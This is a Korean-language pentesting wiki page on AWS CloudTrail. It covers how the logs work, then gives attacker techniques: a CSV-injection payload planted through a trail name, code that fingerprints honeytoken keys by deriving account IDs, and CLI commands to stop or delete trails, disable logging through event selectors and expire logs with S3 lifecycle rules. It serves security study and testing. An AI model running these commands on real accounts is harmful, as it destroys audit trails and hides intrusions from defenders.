AWS - CloudTrail Enum

Support HackTricks

CloudTrail

AWS CloudTrail 는 AWS 환경 내의 활동을 기록하고 모니터링합니다. 이는 AWS 리소스와의 모든 상호작용에 대해 누가 무엇을, 언제, 어디서 했는지를 포함한 자세한 이벤트 로그를 캡처합니다. 이는 변경 및 작업의 감사 추적을 제공하여 보안 분석, 준수 감사 및 리소스 변경 추적에 도움을 줍니다. CloudTrail은 사용자 및 리소스 행동을 이해하고, 보안 태세를 강화하며, 규제 준수를 보장하는 데 필수적입니다.

각 기록된 이벤트에는 다음이 포함됩니다:

  • 호출된 API의 이름: eventName

  • 호출된 서비스: eventSource

  • 시간: eventTime

  • IP 주소: SourceIPAddress

  • 에이전트 방법: userAgent. 예:

  • Signing.amazonaws.com - AWS 관리 콘솔에서

  • console.amazonaws.com - 계정의 루트 사용자

  • lambda.amazonaws.com - AWS Lambda

  • 요청 매개변수: requestParameters

  • 응답 요소: responseElements

이벤트는 약 5분마다 JSON 파일로 새로운 로그 파일에 기록되며, CloudTrail에 의해 보관되고, 마지막으로 로그 파일은 약 15분 후 S3로 전달됩니다. CloudTrail 로그는 계정 및 지역 간에 집계될 수 있습니다. CloudTrail은 로그 파일 무결성을 사용하여 로그 파일이 CloudTrail이 전달한 이후 변경되지 않았음을 확인할 수 있도록 합니다. 이는 로그 내부의 다이제스트 파일에 SHA-256 해시를 생성합니다. 새로운 로그의 sha-256 해시는 매시간 생성됩니다. Trail을 생성할 때 이벤트 선택기를 사용하여 기록할 Trail을 관리, 데이터 또는 인사이트 이벤트로 지정할 수 있습니다.

로그는 S3 버킷에 저장됩니다. 기본적으로 서버 측 암호화(SSE-S3)가 사용되므로 AWS는 접근 권한이 있는 사람들을 위해 콘텐츠를 복호화하지만, 추가 보안을 위해 KMS와 자신의 키를 사용하여 SSE를 사용할 수 있습니다.

로그는 다음 이름 형식의 S3 버킷에 저장됩니다:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • BucketName: aws-cloudtrail-logs-<accountid>-<random>

  • 예: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

각 폴더 내의 각 로그는 다음 형식을 따르는 이름을 가집니다: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

로그 파일 명명 규칙

또한, 파일 무결성을 확인하기 위한 다이제스트 파일같은 버킷 내에 있습니다:

여러 계정의 로그 집계

  • 로그 파일이 전달될 AWS 계정에서 Trail을 생성합니다.

  • CloudTrail에 대한 교차 계정 접근을 허용하는 권한을 대상 S3 버킷에 적용하고, 접근이 필요한 각 AWS 계정을 허용합니다.

  • 다른 AWS 계정에서 새 Trail을 생성하고 1단계에서 생성된 버킷을 사용하도록 선택합니다.

그러나 모든 로그를 동일한 S3 버킷에 저장할 수 있지만, 여러 계정의 CloudTrail 로그를 단일 AWS 계정에 속하는 CloudWatch Logs로 집계할 수는 없습니다.

계정은 다른 Trails를 CloudTrail 에서 활성화하여 동일한(또는 다른) 로그를 다른 버킷에 저장할 수 있습니다.

모든 조직 계정의 CloudTrail을 1개로

CloudTrail을 생성할 때, 조직의 모든 계정에 대해 CloudTrail을 활성화하고 로그를 단일 버킷으로 가져오도록 지정할 수 있습니다:

이렇게 하면 모든 계정의 모든 지역에서 CloudTrail을 쉽게 구성하고 로그를 1개의 계정으로 중앙 집중화할 수 있습니다(이를 보호해야 합니다).

로그 파일 확인

로그가 변경되지 않았는지 확인하려면 다음을 실행할 수 있습니다.

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail은 자동으로 로그를 CloudWatch로 전송할 수 있으므로 의심스러운 활동이 수행될 때 경고하는 알림을 설정할 수 있습니다. CloudTrail이 로그를 CloudWatch로 전송할 수 있도록 하려면 역할을 생성해야 하며, 이 역할은 해당 작업을 허용해야 합니다. 가능하다면 이러한 작업을 수행하기 위해 AWS 기본 역할을 사용하는 것이 권장됩니다. 이 역할은 CloudTrail이 다음을 수행할 수 있도록 합니다:

  • CreateLogStream: CloudWatch Logs 로그 스트림을 생성할 수 있습니다.

  • PutLogEvents: CloudTrail 로그를 CloudWatch Logs 로그 스트림에 전달합니다.

Event History

CloudTrail Event History는 기록된 로그를 테이블 형식으로 검사할 수 있게 해줍니다:

Insights

CloudTrail Insights는 CloudTrail 트레일의 관리 이벤트를 자동으로 분석하고 비정상적인 활동에 대해 경고합니다. 예를 들어, 설정된 기준선과 다른 TerminateInstance 이벤트의 증가가 있을 경우, 이를 Insight 이벤트로 확인할 수 있습니다. 이러한 이벤트는 비정상적인 API 활동을 찾고 대응하는 것을 그 어느 때보다 쉽게 만들어 줍니다.

인사이트는 CloudTrail 로그와 동일한 버킷에 저장됩니다: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

Access Advisor

AWS Access Advisor는 마지막 400일 동안의 AWS CloudTrail 로그를 기반으로 인사이트를 수집합니다. CloudTrail은 AWS 계정에서 수행된 AWS API 호출 및 관련 이벤트의 기록을 캡처합니다. Access Advisor는 이 데이터를 활용하여 서비스가 마지막으로 언제 접근되었는지 보여줍니다. CloudTrail 로그를 분석함으로써 Access Advisor는 IAM 사용자 또는 역할이 어떤 AWS 서비스에 접근했는지와 그 접근이 언제 발생했는지를 파악할 수 있습니다. 이는 AWS 관리자가 권한을 세분화하는 데 정보에 기반한 결정을 내리는 데 도움을 줍니다, 사용되지 않은 서비스들을 식별하고 실제 사용 패턴에 따라 지나치게 넓은 권한을 줄일 수 있습니다.

따라서 Access Advisor는 사용자에게 부여된 불필요한 권한에 대해 알림을 제공하여 관리자가 이를 제거할 수 있도록 합니다.

Actions

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

CloudTrail 내에서 CVS 주입을 수행할 수 있으며, 로그가 CSV로 내보내지고 Excel로 열리면 임의의 코드를 실행할 수 있습니다. 다음 코드는 페이로드가 포함된 잘못된 Trail 이름으로 로그 항목을 생성합니다:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

더 많은 정보는 CSV 인젝션에 대해 다음 페이지를 확인하세요:

이 특정 기술에 대한 더 많은 정보는 https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/를 확인하세요.

탐지 우회

HoneyTokens 우회

Honeytokens는 민감한 정보의 유출을 탐지하기 위해 생성됩니다. AWS의 경우, 이들은 사용이 모니터링되는 AWS 키입니다. 만약 그 키로 어떤 행동이 트리거되면, 누군가 그 키를 훔쳤다는 것을 의미합니다.

그러나 Canarytokens, SpaceCrab, SpaceSiren에서 생성된 Honeytokens는 인식 가능한 계정 이름을 사용하거나 모든 고객에게 동일한 AWS 계정 ID를 사용합니다. 따라서 Cloudtrail이 로그를 생성하지 않고 계정 이름 및/또는 계정 ID를 얻을 수 있다면, 그 키가 Honeytoken인지 여부를 알 수 있습니다.

Pacu에는 키가 Canarytokens, SpaceCrab, SpaceSiren에 속하는지 감지하는 몇 가지 규칙이 있습니다:

  • **canarytokens.org**가 역할 이름에 나타나거나 계정 ID **534261010715**가 오류 메시지에 나타납니다.

  • 최근에 테스트한 결과, 그들은 계정 **717712589309**를 사용하고 있으며 여전히 이름에 canarytokens.com 문자열이 포함되어 있습니다.

  • 오류 메시지의 역할 이름에 **SpaceCrab**가 나타납니다.

  • SpaceSiren은 사용자 이름을 생성하기 위해 uuids를 사용합니다: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • 이름이 무작위로 생성된 것처럼 보인다면, 그것이 HoneyToken일 확률이 높습니다.

키 ID에서 계정 ID 가져오기

액세스 키 내부에 인코딩된 계정 ID여기서 설명한 대로 가져올 수 있으며, Honeytokens AWS 계정 목록과 계정 ID를 확인하세요:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Check more information in the orginal research.

로그 생성하지 않기

가장 효과적인 기술은 사실 간단합니다. 방금 찾은 키를 사용하여 자신의 공격자 계정 내의 일부 서비스에 접근하세요. 이렇게 하면 CloudTrail이 당신의 AWS 계정 내에 로그를 생성하고 피해자의 계정에는 생성하지 않습니다.

문제는 출력에 계정 ID와 계정 이름을 나타내는 오류가 표시되므로 Honeytoken인지 확인할 수 있습니다.

로그가 없는 AWS 서비스

과거에는 CloudTrail에 로그를 전송하지 않는 AWS 서비스가 있었습니다 (여기에서 목록을 찾으세요). 이러한 서비스 중 일부는 무단 접근 (Honeytoken 키)이 시도할 경우 키 역할의 ARN을 포함한 오류응답합니다.

이렇게 하면 공격자는 로그를 트리거하지 않고 키의 ARN을 얻을 수 있습니다. ARN에서 공격자는 AWS 계정 ID와 이름을 확인할 수 있으며, HoneyToken의 회사 계정 ID와 이름을 쉽게 알 수 있으므로, 이를 통해 공격자는 토큰이 HoneyToken인지 식별할 수 있습니다.

모든 공용 API가 CloudTrail 로그를 생성하지 않는 것으로 발견된 것은 이제 수정되었으므로, 아마도 당신만의 것을 찾아야 할 것입니다...

자세한 내용은 원본 연구를 확인하세요.

제3 인프라 접근

특정 AWS 서비스는 데이터베이스Kubernetes 클러스터 (EKS)와 같은 인프라를 생성합니다. 사용자가 이러한 서비스에 직접 접근 (Kubernetes API와 같은)하면 AWS API를 사용하지 않기 때문에, CloudTrail은 이 통신을 볼 수 없습니다.

따라서 EKS에 접근할 수 있는 사용자가 EKS API의 URL을 발견하면 로컬에서 토큰을 생성하고 CloudTrail에 감지되지 않고 API 서비스에 직접 접근할 수 있습니다.

자세한 내용은:

CloudTrail 구성 수정

트레일 삭제

aws cloudtrail delete-trail --name [trail-name]

트레일 중지

aws cloudtrail stop-logging --name [trail-name]

다중 지역 로깅 비활성화

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

이벤트 선택기를 통한 로깅 비활성화

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

첫 번째 예에서는 단일 객체가 포함된 JSON 배열로 단일 이벤트 선택기가 제공됩니다. "ReadWriteType": "ReadOnly"이벤트 선택기가 읽기 전용 이벤트만 캡처해야 함을 나타냅니다 (예를 들어 CloudTrail 인사이트는 쓰기 이벤트를 확인하지 않습니다).

특정 요구 사항에 따라 이벤트 선택기를 사용자 정의할 수 있습니다.

S3 수명 주기 정책을 통한 로그 삭제

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

버킷 구성 수정

  • S3 버킷 삭제

  • CloudTrail 서비스에서의 모든 쓰기를 거부하도록 버킷 정책 변경

  • 객체 삭제를 위한 S3 버킷의 수명 주기 정책 추가

  • CloudTrail 로그를 암호화하는 데 사용되는 KMS 키 비활성화

CloudTrail 랜섬웨어

S3 랜섬웨어

비대칭 키생성하고 CloudTrail이 해당 키로 데이터를 암호화하게 한 다음 개인 키를 삭제하여 CloudTrail 내용이 복구될 수 없도록 할 수 있습니다. 이는 기본적으로 다음에서 설명된 S3-KMS 랜섬웨어입니다:

KMS 랜섬웨어

이는 다른 권한 요구 사항으로 이전 공격을 수행하는 가장 쉬운 방법입니다:

참고문헌

HackTricks 지원하기

Last updated